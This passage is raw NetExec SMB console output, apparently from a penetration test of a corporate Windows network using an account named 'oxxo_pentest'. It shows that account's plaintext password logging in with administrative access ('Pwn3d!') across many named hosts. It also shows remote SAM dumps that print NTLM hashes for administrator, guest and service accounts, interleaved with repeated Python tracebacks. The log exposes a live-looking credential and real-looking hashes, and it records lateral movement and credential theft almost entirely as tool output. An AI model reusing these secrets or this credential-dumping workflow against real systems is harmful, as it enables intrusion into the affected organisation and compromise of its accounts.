lpData):

│ 949 │ request = BaseRegSetValue()




/usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link] in request



│ 879 │ │ │ │ │ exception =
sessionErrorClass(error_code = error_code)

│ 880 │ │ │ │ else:

│ 881 │ │ │ │ │ exception =
sessionErrorClass(packet = response, error_code =

│ error_code)

│ ❱ 882 │ │ │ raise exception

│ 883 │ │ else:

│ 884 │ │ │ response = respClass(answer, isNDR64 =
isNDR64)

│ 885 │ │ │ return response

╰──────────────────────────────────────────────────────────────────────────────────
─────────────────────────────────────────────────────────────────────────╯

DCERPCException: DCERPC Runtime Error: code: 0x5 -


rpc_s_access_denied

SMB [Link] 445 OXODT020037 [+] [Link]\


oxxo_pentest:p8Z49-#MX6?ki@ (Pwn3d!)
SMB [Link] 445 OXOLT020007 [-] Connection Error: [Errno
104] Connection reset by peer
SMB [Link] 445 OXODT020146 [-] Connection Error: [Errno
104] Connection reset by peer
SMB [Link] 445 OXOLT020058 [-] Connection Error: [Errno
104] Connection reset by peer
SMB [Link] 445 OXOLT020023 [-] Connection Error: [Errno
104] Connection reset by peer
SMB [Link] 445 OXODT020108 [-] Connection Error: [Errno
104] Connection reset by peer
SMB [Link] 445 OXOLT020043 [-] Connection Error: [Errno
104] Connection reset by peer
SMB [Link] 445 OXODT020115 [-] Connection Error: [Errno
104] Connection reset by peer
SMB [Link] 445 OXODT020135 [-] Connection Error: [Errno
104] Connection reset by peer
SMB [Link] 445 HPCZJ5240FXG [*] (name:HPCZJ5240FXG)
(domain:HPCZJ5240FXG) (signing:False) (SMBv1:False)
SMB [Link] 445 OXXNSRV2001 [*] Unix - Samba
(name:OXXNSRV2001) (domain:OXXNSRV2001) (signing:False) (SMBv1:True)
SMB [Link] 445 OXODT020021 [+] [Link]\
oxxo_pentest:p8Z49-#MX6?ki@ (Pwn3d!)
SMB [Link] 445 OXXONSRV1000 [*] Unix - Samba
(name:OXXONSRV1000) (domain:OXXONSRV1000) (signing:False) (SMBv1:True)
[Link] ERROR DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[Link]
╭────────────────────────────────────────────────────────────
Traceback (most recent call last)
────────────────────────────────────────────────────────────╮
│ /usr/lib/python3/dist-packages/nxc/protocols/[Link] in
sam



│ 1493 │ │ │ add_sam_hash.sam_hashes = 0

│ 1494 │ │ │

│ 1495 │ │ │ if self.remote_ops and [Link]:

│ ❱ 1496 │ │ │ │ SAM_file_name =
self.remote_ops.saveSAM()

│ 1497 │ │ │ │ SAM = SAMHashes(

│ 1498 │ │ │ │ │ SAM_file_name,

│ 1499 │ │ │ │ │ [Link],




/usr/lib/python3/dist-packages/impacket/examples/[Link] in saveSAM



│ 931 │

│ 932 │ def saveSAM(self):

│ 933 │ │ [Link]('Saving remote SAM database')

│ ❱ 934 │ │ return self.__retrieveHive('SAM')

│ 935 │

│ 936 │ def saveSECURITY(self):

│ 937 │ │ [Link]('Saving remote SECURITY database')




/usr/lib/python3/dist-packages/impacket/examples/[Link] in
__retrieveHive



│ 922 │ │ except:

│ 923 │ │ │ raise Exception("Can't open %s hive" %
hiveName)

│ 924 │ │ keyHandle = ans['phkResult']

│ ❱ 925 │ │ [Link](self.__rrp, keyHandle,
'..\\Temp\\'+tmpFileName)

│ 926 │ │ [Link](self.__rrp, keyHandle)

│ 927 │ │ [Link](self.__rrp, regHandle)

│ 928 │ │ # Now let's open the remote file, so it can be
read later



│ /usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link]
in hBaseRegSaveKey



│ 943 │ request['hKey'] = hKey

│ 944 │ request['lpFile'] = checkNullString(lpFile)

│ 945 │ request['pSecurityAttributes'] =
pSecurityAttributes

│ ❱ 946 │ return [Link](request)

│ 947

│ 948 def hBaseRegSetValue(dce, hKey, lpValueName, dwType,
lpData):

│ 949 │ request = BaseRegSetValue()




/usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link] in request



│ 879 │ │ │ │ │ exception =
sessionErrorClass(error_code = error_code)

│ 880 │ │ │ │ else:

│ 881 │ │ │ │ │ exception =
sessionErrorClass(packet = response, error_code =

│ error_code)

│ ❱ 882 │ │ │ raise exception

│ 883 │ │ else:

│ 884 │ │ │ response = respClass(answer, isNDR64 =
isNDR64)

│ 885 │ │ │ return response

╰──────────────────────────────────────────────────────────────────────────────────
─────────────────────────────────────────────────────────────────────────╯

DCERPCException: DCERPC Runtime Error: code: 0x5 -


rpc_s_access_denied

ERROR DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied


[Link]
╭────────────────────────────────────────────────────────────
Traceback (most recent call last)
────────────────────────────────────────────────────────────╮
│ /usr/lib/python3/dist-packages/nxc/protocols/[Link] in
sam



│ 1493 │ │ │ add_sam_hash.sam_hashes = 0

│ 1494 │ │ │

│ 1495 │ │ │ if self.remote_ops and [Link]:

│ ❱ 1496 │ │ │ │ SAM_file_name =
self.remote_ops.saveSAM()

│ 1497 │ │ │ │ SAM = SAMHashes(

│ 1498 │ │ │ │ │ SAM_file_name,

│ 1499 │ │ │ │ │ [Link],




/usr/lib/python3/dist-packages/impacket/examples/[Link] in saveSAM



│ 931 │

│ 932 │ def saveSAM(self):

│ 933 │ │ [Link]('Saving remote SAM database')

│ ❱ 934 │ │ return self.__retrieveHive('SAM')

│ 935 │

│ 936 │ def saveSECURITY(self):

│ 937 │ │ [Link]('Saving remote SECURITY database')




/usr/lib/python3/dist-packages/impacket/examples/[Link] in
__retrieveHive



│ 922 │ │ except:

│ 923 │ │ │ raise Exception("Can't open %s hive" %
hiveName)

│ 924 │ │ keyHandle = ans['phkResult']

│ ❱ 925 │ │ [Link](self.__rrp, keyHandle,
'..\\Temp\\'+tmpFileName)

│ 926 │ │ [Link](self.__rrp, keyHandle)

│ 927 │ │ [Link](self.__rrp, regHandle)

│ 928 │ │ # Now let's open the remote file, so it can be
read later



│ /usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link]
in hBaseRegSaveKey



│ 943 │ request['hKey'] = hKey

│ 944 │ request['lpFile'] = checkNullString(lpFile)

│ 945 │ request['pSecurityAttributes'] =
pSecurityAttributes

│ ❱ 946 │ return [Link](request)

│ 947

│ 948 def hBaseRegSetValue(dce, hKey, lpValueName, dwType,
lpData):

│ 949 │ request = BaseRegSetValue()




/usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link] in request



│ 879 │ │ │ │ │ exception =
sessionErrorClass(error_code = error_code)

│ 880 │ │ │ │ else:

│ 881 │ │ │ │ │ exception =
sessionErrorClass(packet = response, error_code =

│ error_code)

│ ❱ 882 │ │ │ raise exception

│ 883 │ │ else:

│ 884 │ │ │ response = respClass(answer, isNDR64 =
isNDR64)

│ 885 │ │ │ return response

╰──────────────────────────────────────────────────────────────────────────────────
─────────────────────────────────────────────────────────────────────────╯

DCERPCException: DCERPC Runtime Error: code: 0x5 -


rpc_s_access_denied

SMB [Link] 445 OXXONSRV1000 [+] OXXONSRV1000\


oxxo_pentest:p8Z49-#MX6?ki@
SMB [Link] 445 OXODT020156 [-] Connection Error: [Errno
104] Connection reset by peer
ERROR DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[Link]
╭────────────────────────────────────────────────────────────
Traceback (most recent call last)
────────────────────────────────────────────────────────────╮
│ /usr/lib/python3/dist-packages/nxc/protocols/[Link] in
sam



│ 1493 │ │ │ add_sam_hash.sam_hashes = 0

│ 1494 │ │ │

│ 1495 │ │ │ if self.remote_ops and [Link]:

│ ❱ 1496 │ │ │ │ SAM_file_name =
self.remote_ops.saveSAM()

│ 1497 │ │ │ │ SAM = SAMHashes(

│ 1498 │ │ │ │ │ SAM_file_name,

│ 1499 │ │ │ │ │ [Link],




/usr/lib/python3/dist-packages/impacket/examples/[Link] in saveSAM



│ 931 │

│ 932 │ def saveSAM(self):

│ 933 │ │ [Link]('Saving remote SAM database')

│ ❱ 934 │ │ return self.__retrieveHive('SAM')

│ 935 │

│ 936 │ def saveSECURITY(self):

│ 937 │ │ [Link]('Saving remote SECURITY database')




/usr/lib/python3/dist-packages/impacket/examples/[Link] in
__retrieveHive



│ 922 │ │ except:

│ 923 │ │ │ raise Exception("Can't open %s hive" %
hiveName)

│ 924 │ │ keyHandle = ans['phkResult']

│ ❱ 925 │ │ [Link](self.__rrp, keyHandle,
'..\\Temp\\'+tmpFileName)

│ 926 │ │ [Link](self.__rrp, keyHandle)

│ 927 │ │ [Link](self.__rrp, regHandle)

│ 928 │ │ # Now let's open the remote file, so it can be
read later



│ /usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link]
in hBaseRegSaveKey



│ 943 │ request['hKey'] = hKey

│ 944 │ request['lpFile'] = checkNullString(lpFile)

│ 945 │ request['pSecurityAttributes'] =
pSecurityAttributes

│ ❱ 946 │ return [Link](request)

│ 947

│ 948 def hBaseRegSetValue(dce, hKey, lpValueName, dwType,
lpData):

│ 949 │ request = BaseRegSetValue()




/usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link] in request



│ 879 │ │ │ │ │ exception =
sessionErrorClass(error_code = error_code)

│ 880 │ │ │ │ else:

│ 881 │ │ │ │ │ exception =
sessionErrorClass(packet = response, error_code =

│ error_code)

│ ❱ 882 │ │ │ raise exception

│ 883 │ │ else:

│ 884 │ │ │ response = respClass(answer, isNDR64 =
isNDR64)

│ 885 │ │ │ return response

╰──────────────────────────────────────────────────────────────────────────────────
─────────────────────────────────────────────────────────────────────────╯

DCERPCException: DCERPC Runtime Error: code: 0x5 -


rpc_s_access_denied

SMB [Link] 445 OXODT02060010 [-] Connection Error: [Errno


104] Connection reset by peer
SMB [Link] 445 OXODT020149 [-] Connection Error: [Errno
104] Connection reset by peer
SMB [Link] 445 OXODT020091 [-] Connection Error: [Errno
104] Connection reset by peer
SMB [Link] 445 OXOLT020041 [-] Connection Error: [Errno
104] Connection reset by peer
SMB [Link] 445 OXODT02040010 [-] Connection Error: [Errno
104] Connection reset by peer
SMB [Link] 445 OXODT020104 [-] Connection Error: [Errno
104] Connection reset by peer
SMB [Link] 445 OXODT020063 [-] Connection Error: [Errno
104] Connection reset by peer
SMB [Link] 445 OXODT020141 [-] Connection Error: [Errno
104] Connection reset by peer
SMB [Link] 445 OXODT020007 [-] Connection Error: [Errno
104] Connection reset by peer
SMB [Link] 445 OXODT020042 [-] Connection Error: [Errno
104] Connection reset by peer
SMB [Link] 445 OXODT020226 [-] Connection Error: [Errno
104] Connection reset by peer
[Link] ERROR DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[Link]
╭────────────────────────────────────────────────────────────
Traceback (most recent call last)
────────────────────────────────────────────────────────────╮
│ /usr/lib/python3/dist-packages/nxc/protocols/[Link] in
sam



│ 1493 │ │ │ add_sam_hash.sam_hashes = 0

│ 1494 │ │ │

│ 1495 │ │ │ if self.remote_ops and [Link]:

│ ❱ 1496 │ │ │ │ SAM_file_name =
self.remote_ops.saveSAM()

│ 1497 │ │ │ │ SAM = SAMHashes(

│ 1498 │ │ │ │ │ SAM_file_name,

│ 1499 │ │ │ │ │ [Link],




/usr/lib/python3/dist-packages/impacket/examples/[Link] in saveSAM



│ 931 │

│ 932 │ def saveSAM(self):

│ 933 │ │ [Link]('Saving remote SAM database')

│ ❱ 934 │ │ return self.__retrieveHive('SAM')

│ 935 │

│ 936 │ def saveSECURITY(self):

│ 937 │ │ [Link]('Saving remote SECURITY database')




/usr/lib/python3/dist-packages/impacket/examples/[Link] in
__retrieveHive



│ 922 │ │ except:

│ 923 │ │ │ raise Exception("Can't open %s hive" %
hiveName)

│ 924 │ │ keyHandle = ans['phkResult']

│ ❱ 925 │ │ [Link](self.__rrp, keyHandle,
'..\\Temp\\'+tmpFileName)

│ 926 │ │ [Link](self.__rrp, keyHandle)

│ 927 │ │ [Link](self.__rrp, regHandle)

│ 928 │ │ # Now let's open the remote file, so it can be
read later



│ /usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link]
in hBaseRegSaveKey



│ 943 │ request['hKey'] = hKey

│ 944 │ request['lpFile'] = checkNullString(lpFile)

│ 945 │ request['pSecurityAttributes'] =
pSecurityAttributes

│ ❱ 946 │ return [Link](request)

│ 947

│ 948 def hBaseRegSetValue(dce, hKey, lpValueName, dwType,
lpData):

│ 949 │ request = BaseRegSetValue()




/usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link] in request



│ 879 │ │ │ │ │ exception =
sessionErrorClass(error_code = error_code)

│ 880 │ │ │ │ else:

│ 881 │ │ │ │ │ exception =
sessionErrorClass(packet = response, error_code =

│ error_code)

│ ❱ 882 │ │ │ raise exception

│ 883 │ │ else:

│ 884 │ │ │ response = respClass(answer, isNDR64 =
isNDR64)

│ 885 │ │ │ return response

╰──────────────────────────────────────────────────────────────────────────────────
─────────────────────────────────────────────────────────────────────────╯

DCERPCException: DCERPC Runtime Error: code: 0x5 -


rpc_s_access_denied

SMB [Link] 445 OXODT020006 [+] [Link]\


oxxo_pentest:p8Z49-#MX6?ki@ (Pwn3d!)
SMB [Link] 445 OXODT020101 [-] Connection Error: [Errno
104] Connection reset by peer
SMB [Link] 445 OXOLT020030 [-] Connection Error: [Errno
104] Connection reset by peer
SMB [Link] 445 OXODT020099 [-] Connection Error: [Errno
104] Connection reset by peer
SMB [Link] 445 OXOLT020004 [-] Connection Error: [Errno
104] Connection reset by peer
SMB [Link] 445 OXOLT020019 [-] Connection Error: [Errno
104] Connection reset by peer
SMB [Link] 445 OXODT020086 [-] Connection Error: [Errno
104] Connection reset by peer
SMB [Link] 445 OXODT020020 [-] Connection Error: [Errno
104] Connection reset by peer
SMB [Link] 445 OXODT020114 [-] Connection Error: [Errno
104] Connection reset by peer
SMB [Link] 445 OXODT020070 [-] Connection Error: [Errno
104] Connection reset by peer
SMB [Link] 445 OXOLT020027 [-] Connection Error: [Errno
104] Connection reset by peer
SMB [Link] 445 OXODT020105 [-] Connection Error: [Errno
104] Connection reset by peer
SMB [Link] 445 OXODT02010001 [-] Connection Error: [Errno
104] Connection reset by peer
SMB [Link] 445 OXOLT020033 [-] Connection Error: [Errno
104] Connection reset by peer
SMB [Link] 445 NONE [+] \oxxo_pentest:p8Z49-#MX6?
ki@ (Guest)
SMB [Link] 445 OXODT02060051 [-] Connection Error: [Errno
104] Connection reset by peer
SMB [Link] 445 OXODT02040004 [-] Connection Error: [Errno
104] Connection reset by peer
SMB [Link] 445 OXODT02070011 [-] Connection Error: [Errno
104] Connection reset by peer
SMB [Link] 445 OXODT02060005 [-] Connection Error: [Errno
104] Connection reset by peer
SMB [Link] 445 OXODT02030008 [-] Connection Error: [Errno
104] Connection reset by peer
SMB [Link] 445 OXODT02070005 [-] Connection Error: [Errno
104] Connection reset by peer
SMB [Link] 445 OXODT02070021 [-] Connection Error: [Errno
104] Connection reset by peer
SMB [Link] 445 OXODT02020002 [-] Connection Error: [Errno
104] Connection reset by peer
SMB [Link] 445 OXOASP02007 [-] Connection Error: [Errno
104] Connection reset by peer
SMB [Link] 445 OXODT02020001 [-] Connection Error: [Errno
104] Connection reset by peer
SMB [Link] 445 OXODT02020004 [-] Connection Error: [Errno
104] Connection reset by peer
SMB [Link] 445 OXODT020118 [-] Connection Error: [Errno
104] Connection reset by peer
SMB [Link] 445 OXODT02040007 [-] Connection Error: [Errno
104] Connection reset by peer
SMB [Link] 445 OXODT02040006 [-] Connection Error: [Errno
104] Connection reset by peer
SMB [Link] 445 OXODT02020005 [-] Connection Error: [Errno
104] Connection reset by peer
SMB [Link] 445 OXOASP02004 [+] [Link]\
oxxo_pentest:p8Z49-#MX6?ki@ (Pwn3d!)
ERROR DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[Link]
╭────────────────────────────────────────────────────────────
Traceback (most recent call last)
────────────────────────────────────────────────────────────╮
│ /usr/lib/python3/dist-packages/nxc/protocols/[Link] in
sam



│ 1493 │ │ │ add_sam_hash.sam_hashes = 0

│ 1494 │ │ │

│ 1495 │ │ │ if self.remote_ops and [Link]:

│ ❱ 1496 │ │ │ │ SAM_file_name =
self.remote_ops.saveSAM()

│ 1497 │ │ │ │ SAM = SAMHashes(

│ 1498 │ │ │ │ │ SAM_file_name,

│ 1499 │ │ │ │ │ [Link],




/usr/lib/python3/dist-packages/impacket/examples/[Link] in saveSAM



│ 931 │

│ 932 │ def saveSAM(self):

│ 933 │ │ [Link]('Saving remote SAM database')

│ ❱ 934 │ │ return self.__retrieveHive('SAM')

│ 935 │

│ 936 │ def saveSECURITY(self):

│ 937 │ │ [Link]('Saving remote SECURITY database')




/usr/lib/python3/dist-packages/impacket/examples/[Link] in
__retrieveHive



│ 922 │ │ except:

│ 923 │ │ │ raise Exception("Can't open %s hive" %
hiveName)

│ 924 │ │ keyHandle = ans['phkResult']

│ ❱ 925 │ │ [Link](self.__rrp, keyHandle,
'..\\Temp\\'+tmpFileName)

│ 926 │ │ [Link](self.__rrp, keyHandle)

│ 927 │ │ [Link](self.__rrp, regHandle)

│ 928 │ │ # Now let's open the remote file, so it can be
read later



│ /usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link]
in hBaseRegSaveKey



│ 943 │ request['hKey'] = hKey

│ 944 │ request['lpFile'] = checkNullString(lpFile)

│ 945 │ request['pSecurityAttributes'] =
pSecurityAttributes

│ ❱ 946 │ return [Link](request)

│ 947

│ 948 def hBaseRegSetValue(dce, hKey, lpValueName, dwType,
lpData):

│ 949 │ request = BaseRegSetValue()




/usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link] in request



│ 879 │ │ │ │ │ exception =
sessionErrorClass(error_code = error_code)

│ 880 │ │ │ │ else:

│ 881 │ │ │ │ │ exception =
sessionErrorClass(packet = response, error_code =

│ error_code)

│ ❱ 882 │ │ │ raise exception

│ 883 │ │ else:

│ 884 │ │ │ response = respClass(answer, isNDR64 =
isNDR64)

│ 885 │ │ │ return response

╰──────────────────────────────────────────────────────────────────────────────────
─────────────────────────────────────────────────────────────────────────╯
DCERPCException: DCERPC Runtime Error: code: 0x5 -
rpc_s_access_denied

SMB [Link] 445 AKS160001 [-] AKS160001\


oxxo_pentest:p8Z49-#MX6?ki@ STATUS_LOGON_FAILURE
SMB [Link] 445 OXXVSRV2000 [+] [Link]\
oxxo_pentest:p8Z49-#MX6?ki@ (Pwn3d!)
SMB [Link] 445 OXOASP02004 [*] Dumping SAM hashes
SMB [Link] 445 OXXSDC0202 [+] [Link]\
oxxo_pentest:p8Z49-#MX6?ki@
SMB [Link] 445 OXXVSRV2000 [*] Dumping SAM hashes
SMB [Link] 445 OXOASP02004
Administrateur:500:aad3b435b51404eeaad3b435b51404ee:3db92beea06c5c52acd63ed8615e711
[Link]
SMB [Link] 445 OXOASP02004
Invité:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c0[Link]
[Link] ERROR DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[Link]
╭────────────────────────────────────────────────────────────
Traceback (most recent call last)
────────────────────────────────────────────────────────────╮
│ /usr/lib/python3/dist-packages/nxc/protocols/[Link] in
sam



│ 1493 │ │ │ add_sam_hash.sam_hashes = 0

│ 1494 │ │ │

│ 1495 │ │ │ if self.remote_ops and [Link]:

│ ❱ 1496 │ │ │ │ SAM_file_name =
self.remote_ops.saveSAM()

│ 1497 │ │ │ │ SAM = SAMHashes(

│ 1498 │ │ │ │ │ SAM_file_name,

│ 1499 │ │ │ │ │ [Link],




/usr/lib/python3/dist-packages/impacket/examples/[Link] in saveSAM



│ 931 │

│ 932 │ def saveSAM(self):

│ 933 │ │ [Link]('Saving remote SAM database')

│ ❱ 934 │ │ return self.__retrieveHive('SAM')

│ 935 │

│ 936 │ def saveSECURITY(self):

│ 937 │ │ [Link]('Saving remote SECURITY database')




/usr/lib/python3/dist-packages/impacket/examples/[Link] in
__retrieveHive



│ 922 │ │ except:

│ 923 │ │ │ raise Exception("Can't open %s hive" %
hiveName)

│ 924 │ │ keyHandle = ans['phkResult']

│ ❱ 925 │ │ [Link](self.__rrp, keyHandle,
'..\\Temp\\'+tmpFileName)

│ 926 │ │ [Link](self.__rrp, keyHandle)

│ 927 │ │ [Link](self.__rrp, regHandle)

│ 928 │ │ # Now let's open the remote file, so it can be
read later



│ /usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link]
in hBaseRegSaveKey



│ 943 │ request['hKey'] = hKey

│ 944 │ request['lpFile'] = checkNullString(lpFile)

│ 945 │ request['pSecurityAttributes'] =
pSecurityAttributes

│ ❱ 946 │ return [Link](request)

│ 947

│ 948 def hBaseRegSetValue(dce, hKey, lpValueName, dwType,
lpData):

│ 949 │ request = BaseRegSetValue()




/usr/lib/python3/dist-packages/impacket/dcerpc/v5/[Link] in request



│ 879 │ │ │ │ │ exception =
sessionErrorClass(error_code = error_code)

│ 880 │ │ │ │ else:

│ 881 │ │ │ │ │ exception =
sessionErrorClass(packet = response, error_code =

│ error_code)

│ ❱ 882 │ │ │ raise exception

│ 883 │ │ else:

│ 884 │ │ │ response = respClass(answer, isNDR64 =
isNDR64)

│ 885 │ │ │ return response

╰──────────────────────────────────────────────────────────────────────────────────
─────────────────────────────────────────────────────────────────────────╯

DCERPCException: DCERPC Runtime Error: code: 0x5 -


rpc_s_access_denied

SMB [Link] 445 INTERHM [-] interhm\oxxo_pentest:p8Z49-


#MX6?ki@ STATUS_LOGON_FAILURE
SMB [Link] 445 OXOASP02004
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c
[Link]
SMB [Link] 445 CUMAX3 [*] Windows Embedded Standard
7600 x32 (name:CUMAX3) (domain:CUMAX3) (signing:False) (SMBv1:True)
SMB [Link] 445 CUMAX2 [*] Windows Embedded Standard
7600 x32 (name:CUMAX2) (domain:CUMAX2) (signing:False) (SMBv1:True)
SMB [Link] 445 OXXVSRV2000
Administrateur:500:aad3b435b51404eeaad3b435b51404ee:9af19f79617da5c7c8ef2e25bcd1d54
[Link]
SMB [Link] 445 CUMAX1 [*] Windows Embedded Standard
7600 x32 (name:CUMAX1) (domain:CUMAX1) (signing:False) (SMBv1:True)
SMB [Link] 445 OXXVSRV2000
Invité:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c0[Link]
SMB [Link] 445 OXOASP02004
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:8c9879dbdf02d3d459e600e81d0
6[Link]
SMB [Link] 445 OXOASP02004 [+] Added 4 SAM hashes to the
database
SMB [Link] 445 OXOASP02002 [+] [Link]\
oxxo_pentest:p8Z49-#MX6?ki@ (Pwn3d!)
SMB [Link] 445 OXXVSRV2000
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c
[Link]
SMB [Link] 445 OXOASP02011 [+] [Link]\
oxxo_pentest:p8Z49-#MX6?ki@ (Pwn3d!)
SMB [Link] 445 OXXVSRV2000
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:7c923a024ebcf2ab2fd5d8afa29
f[Link]
SMB [Link] 445 OXOASP02002 [*] Dumping SAM hashes
SMB [Link] 445 OXXVSRV2000 KL-AK-
C5AE50C3A1[Link]b51404eeaad3b435b51404ee:5162fbb15fc5b0c9755be60fe38ff7
[Link]
SMB [Link] 445 OXOASP02011 [*] Dumping SAM hashes
SMB [Link] 445 OXOAST02003 [+] [Link]\
oxxo_pentest:p8Z49-#MX6?ki@ (Pwn3d!)
SMB [Link] 445 OXXVSRV2000
KlPxeUser:1015:aad3b435b51404eeaad3b435b51404ee:8bdad50a02b727e03e83ff4c38b0[Link]
SMB [Link] 445 OXOASP02002
Administrateur:500:aad3b435b51404eeaad3b435b51404ee:70bb1209c9d307949fe63b9431fb209
[Link]
SMB [Link] 445 OXOASP02002
Invité:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c0[Link]
SMB [Link] 445 OXXVSRV2000
KlScSv[Link]b51404eeaad3b435b51404ee:a757a87f19b7428df33c1b84215a[Link]
SMB [Link] 445 OXXVSRV2000 [+] Added 7 SAM hashes to the
database
SMB [Link] 445 OXOAST02003 [*] Dumping SAM hashes
SMB [Link] 445 OXOASP02018 [+] [Link]\
oxxo_pentest:p8Z49-#MX6?ki@ (Pwn3d!)
SMB [Link] 445 OXOASP02011
Administrateur:500:aad3b435b51404eeaad3b435b51404ee:fdc06cc7a1664773dba55f7d5b77ba8
[Link]
SMB [Link] 445 OXOASP02002
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c
[Link]
SMB [Link] 445 LA26300001 [-] La26300001\
oxxo_pentest:p8Z49-#MX6?ki@ STATUS_LOGON_FAILURE
SMB [Link] 445 OXOASP02011
Invité:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c0[Link]
SMB [Link] 445 OXOASP02002
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:c8df66acc8b3417a462494d976b
e[Link]
SMB [Link] 445 OXOASP02002 [+] Added 4 SAM hashes to the
database
SMB [Link] 445 OXOASP02018 [*] Dumping SAM hashes
SMB [Link] 445 OXOASP02016 [+] [Link]\
oxxo_pentest:p8Z49-#MX6?ki@ (Pwn3d!)
SMB [Link] 445 OXOASP02011
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c
[Link]
SMB [Link] 445 OXOAST02003
Administrateur:500:aad3b435b51404eeaad3b435b51404ee:97512c0bf450fc6b50336505b51355c
[Link]
SMB [Link] 445 OXOAST02003
Invité:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c0[Link]
SMB [Link] 445 OXOASP02011
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:2e05b089d3dad977792c56c1325
2[Link]
SMB [Link] 445 OXOASP02011 [+] Added 4 SAM hashes to the
database
SMB [Link] 445 OXOBIP02001 [+] [Link]\
oxxo_pentest:p8Z49-#MX6?ki@ (Pwn3d!)
SMB [Link] 445 OXOASP02016 [*] Dumping SAM hashes
SMB [Link] 445 OXOASP02018
Administrateur:500:aad3b435b51404eeaad3b435b51404ee:d1d66a63125f38a3f7f82228c70f70f
[Link]
SMB [Link] 445 OXOAST02003
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c
[Link]
SMB [Link] 445 OXOASP02018
Invité:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c0[Link]
SMB [Link] 445 OXOBIP02001 [*] Dumping SAM hashes
SMB [Link] 445 OXODBP02002 [+] [Link]\
oxxo_pentest:p8Z49-#MX6?ki@ (Pwn3d!)
SMB [Link] 445 OXOAST02003
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:772a906d41766929c2032f17ba5
7[Link]
SMB [Link] 445 OXOAST02003 [+] Added 4 SAM hashes to the
database
SMB [Link] 445 OXOASP02016
Administrateur:500:aad3b435b51404eeaad3b435b51404ee:b2b5a94e7cb6e67a25d98dadffab0f8
[Link]
SMB [Link] 445 OXOASP02018
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c
[Link]
SMB [Link] 445 OXOASP02016
Invité:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c0[Link]
SMB [Link] 445 OXOASP02017 [+] [Link]\
oxxo_pentest:p8Z49-#MX6?ki@ (Pwn3d!)
SMB [Link] 445 OXODBP02002 [*] Dumping SAM hashes
SMB [Link] 445 OXOASP02018
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:57c905b0544e4dfe6dad63c5681
8[Link]
SMB [Link] 445 OXOASP02018 [+] Added 4 SAM hashes to the
database
SMB [Link] 445 OXOASP02016
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c
[Link]
SMB [Link] 445 OXOBIP02001
Administrateur:500:aad3b435b51404eeaad3b435b51404ee:88c8bba349849de0882bfe70ba43d3a
[Link]
SMB [Link] 445 OXOBIP02001
Invité:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c0[Link]
SMB [Link] 445 OXOASP02016
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:3adb763429cdd99d2d90b0d89da
b[Link]
SMB [Link] 445 OXOASP02016 [+] Added 4 SAM hashes to the
database
SMB [Link] 445 OXOASP02017 [*] Dumping SAM hashes
SMB [Link] 445 OXOSCCM02001 [+] [Link]\
oxxo_pentest:p8Z49-#MX6?ki@ (Pwn3d!)
SMB [Link] 445 OXOBIP02001
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c
[Link]
SMB [Link] 445 OXODBP02002
Administrateur:500:aad3b435b51404eeaad3b435b51404ee:078674db879ebaf11a1d44f35d375f0
[Link]
SMB [Link] 445 OXOPMP02001 [+] [Link]\
oxxo_pentest:p8Z49-#MX6?ki@ (Pwn3d!)
SMB [Link] 445 OXODBP02002
Invité:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c0[Link]
SMB [Link] 445 OXOASP02017
Administrateur:500:aad3b435b51404eeaad3b435b51404ee:1ca935a2349ded0a845f05d0699e36d
[Link]
SMB [Link] 445 OXOBIP02001
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:ac8e207770231bea5f0c205a022
3[Link]
SMB [Link] 445 OXOBIP02001 [+] Added 4 SAM hashes to the
database
SMB [Link] 445 OXOSCCM02001 [*] Dumping SAM hashes
SMB [Link] 445 OXODBP02002
